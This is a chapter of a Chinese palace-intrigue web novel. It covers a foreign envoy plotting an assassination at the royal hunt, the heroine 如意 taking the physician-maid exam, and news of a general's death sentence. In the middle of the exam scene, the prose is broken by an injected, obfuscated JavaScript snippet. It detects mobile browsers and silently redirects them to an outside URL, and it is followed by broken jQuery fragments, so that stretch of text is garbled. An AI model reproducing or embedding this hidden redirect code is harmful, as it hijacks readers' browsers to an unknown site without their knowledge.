使团们居住的驿站在京城西南侧,此处位居闹市,人多繁杂,为了保护使者们的安全,雍国派出了几名武功高强的护卫守在此处。
不过这些护卫们当然拦不住要出门的姬鸿光。
这半个月来,雍国皇帝并不怎么待见他,他乐得自在,在京城四处闲逛,吃喝玩乐十分惬意。
跟在他身后的探子们根本没有查到任何关于南华国奸细的迹象,反而几次差点漏了陷。
这天姬鸿光照例大摇大摆出了门,明日就是出发去围猎场的日子,他到处购买弓箭武器做准备,仍旧看不出异样。
趁着那些探子们晃神,姬鸿光转头进了赌场,在鱼龙混杂的赌场内消失了踪迹。
几名尾随了一天的探子面面相觑,知道今日又是无功而返。
姬鸿光在人群中穿梭,从赌场后门走了出去,再拐了几个弯,来到了一座民房内。
破落的民房内,闵福正在院子里不紧不慢的泡着茶。
“呦,我的好弟弟,今日这么有雅兴?”姬鸿光出言嘲讽,大摇大摆走进来坐在闵福面前,满脸的挑衅。
“你们准备什么时候放我出宫?”闵福皱眉,看着姬鸿光翘着二郎腿玩世不恭的模样,心里有些懊恼。
“哈哈哈,你一个太监,出宫做什么?”姬鸿光端起茶杯玩味得看着闵福,试图从他脸上看出些什么异样来。
“姬鸿光!当初你们说帮我报仇!我等了一年又一年!如今我不想报了!我要出宫!你给我准备一个新的身份,我实在不想参与你们这些破事了!”闵福情绪一激动,手中的茶盏也倒了,水洒了一整个桌面,水滴顺着桌面滴答滴答往下落,在这个寂静的院子里,有些刺耳。
姬鸿光抬眸盯着闵福,冷笑一声说:“闵福,你是不是忘了,你自己是什么身份?你以为你一走了之,就能独善其身?哼,简直可笑。”
闵福皱着眉不语,他可以接受自己身不由己,可他没有办法眼睁睁看着如意和自己一样再次被卷入这权利斗争之中,如果真的按照姬鸿光的谋划走下去,如意不但会沦为牺牲品,更有可能小命不保。
姬鸿光接着说:“你那个没有血缘关系的小侄女如意,我很有兴趣,她似乎还准备进宫做医女,不要怪我没有提醒你,若她坏了我们的大事,我可不止你一个手下会杀人。”
闵福沉声说:“你们到底想要什么?若只是想要那个位置,以你们现在的实力谋朝篡位岂不是轻而易举,为何要闹得如今这般?”
姬鸿光笑了,他笑得很大声,“这狗皇帝若是这么轻易就死了,岂不是便宜了他?”
闵福在宫中生活了将近二十年,他自然知道当今圣上不是明君,只是他不理解姬鸿光对这个皇上的憎恨到底从何而来。
似乎是看出来了闵福的心中所想,姬鸿光道:“南都自古以来都是我们璃族部落的家园,可自从这狗皇帝登基,就把我们璃族赶出南都,为了堵住我们的悠悠众口,还把你爹抓来当质子,后来的事,我想你也知道了,如今这狗皇帝父慈子孝,我怎会允许?难道你不想看他父子不和,君臣离心?”
闵福说:“我只是不想再杀人了,我累了。”
姬鸿光见他这副怂样有些恼火,抓着他的衣领将他提了起来,恶狠狠说:“闵福,若你还想见到你爹的尸骨,就给我乖乖听话。你可以不杀人,但该死的人,必须要死,你不是最擅长借刀杀人吗?”
“明日围猎场,虞清宴必须要死,太子之事你已经败了,这次若还是败了,休怪我不客气!”
姬鸿光说完这句就走了,留下闵福一人在这深秋的夜色里,黯然神伤。
---------------------
如意知道围猎之日和她的医女考核之日在同一天的时候,有些沮丧。
不过很快又想到,等他们围猎回来,自己考完试,又可以聚在一块吃好的了,指不定还能带些山里的野味出来,这么一想,如意又有些期待考试了。
考试当天,天还未亮,如意就已经收拾妥当准备出门。
林旷和钟三伏两个小老头也跟着起个大早前来相送。
都说一山不容二虎,一个徒弟当然容不下两个师父,这段时间钟三伏就对林旷这些偏门的教学知识颇为不满,见他这高冷模样更加嗤之以鼻。
“你们这些太医,就知道勾心斗角,病人都快死了还想着怎么保全自己,有失医德。”
“简直可笑!不保全自己怎么救治更多病人?人人都要大夫拿命去治病,我们有几条命可以送的?”
如意正在整理行囊,就听见门外已经吵了起来,连忙开门去迎。
“这大清早的,两位师父怎么就火气这么大?”
钟三伏冷哼一声:“你这小徒弟,到处拜师,经过我同意了嘛!?”
如意嘿嘿一笑,看着林旷说:“师父,你怎么还吃醋了?你放心,我还是和您最亲的!”
钟三伏脸色稍微缓和了一些,林旷又在身后拱火:“如意啊,你要是在宫中还像他这般行事,几颗脑袋都不够掉的!”
“你!”
如意一个头两个大,连忙将两个祖宗支开,然后就开始卖惨:“两位师父,我的好师父,我今日就要去考试了,你们就少说两句,当给我个面子可好?”
两人终于偃旗息鼓,开始你一言我一语的嘱咐如意,如意纷纷记下。
临上马车前,两个老头又好像商量好似的开始安慰如意不要紧张,没考上也没关系之类的。
如意只觉得好笑,捂着嘴上了马车,在窗户口探出身与他们告别。
两位身经百战的医者,看着小徒弟渐行渐远的马车,心中都十分担忧。
------------------------------
太医院。
今日的考核人数众多,有在京城接生无数的接生婆,也有在药馆工作多年的药婆,甚至还有在深山中出来的巫医,大家年龄各异,又各怀本事。
如意看着众多女子们都在紧张得准备着考核,心里反而平静了下来。
原来这世间还有如此多和自己一样学医的女子啊!
第一场考核
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336008|172031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内容是最简单的识药辨药。
每个人都需要迅速在一堆药材中分辨出不同的药材,并回答这份药材是用于治疗何病。这道题不难,大部分的人都答对了,进入了第二场考核。
第二场考核是望闻问切。
五个不同年龄不同病症的病患,考生们以此进去望闻问切,并给出药方和治疗建议,这场对许多药婆和稳婆来说都有些难,淘汰率很高。
经过上面两场实战以后,就是笔试。
参与笔试的只有四十余人,如意一眼扫去大部分都是年纪稍长的女性,像她这般年轻的好像并不多。
考试的题目十分刁钻,除了有林旷提到的各种情景题,甚至有许多关于宫中规矩和后宫各嫔妃的等级。
如意写得十分痛苦,很多题目她都是连蒙带编,只祈祷批卷的考官可以给自己一点辛苦分。
交完卷的时候,天色已经黑了。
如意只觉得如释重负,不管结果如何,她真的尽力了!
如意满心欢喜的走出考场,却发现林旷和钟三伏竟然没有来接自己!实在是太让人失望了!
回到清平庄,如意蹦蹦跳跳就往寿安堂跑去,准备找他好好聊聊今天的考试,却发现清平庄众人神色凝重,每个下人和前来看病的病患都一副欲言又止的模样,如意心中一惊,这是出事了?
她步伐加快,迅速来到清莲居,只见钟桦正扶着钟三伏往屋里去,如意猛地推开门问:“出什么事了?怎么大家都行色匆匆的?”
钟三伏回头,早上还是神采奕奕的小老头,这会就似乎老了十几岁,看着十分憔悴。
“哼,咱们这个皇上昏了头,刚刚在猎场上下旨,给虞将军死刑。”
钟桦声音刚落,林旷和林玉旻就从身后冒了出来,林玉旻连忙说:“皇上准备送虞瑶去南华国和亲,虞将军以死相逼不同意……”
如意只觉得心如刀绞,瑶儿!
“谁带来的消息?可当真?”
钟三伏找了个凳子坐下:“虞江过来找蓝儿,他们准备去劫狱,我拦了,没拦住!”
这下就是如意需要找个椅子坐下了,她刚刚考了一天的试,听到这接二连三的噩耗,只觉得一切都和做梦似的。
林玉旻过来扶着如意坐下,说:“如意,你先别急,虞将军是有大本事的,一切都还有回旋的余地。”
众人脸色阴沉,前几日他们才决定要造反,今日怎么就这样了!
如意环顾众人问:“你们可有什么计策?我如今脑子一片浆糊,实在不知如何是好。”
林旷说:“如意,这就是我想你进太医院的原因,你们所谋之事,太大太危险,你们必须越来越接近权利的中心,才能了解皇上在想什么,知己知彼百战百胜,虞将军和虞瑶的事,不论今后如何,你都必须和他们划清界限,今后,你只是医女尤如意,你明白吗?”
如意回头看着林旷,眼泪夺眶而出,是啊,她若真想虞瑶报仇,真相要那狗皇帝的命,她就必须要忍,就像前面十几年在尤府那般,忍到足够强大之时,才能一击毙命。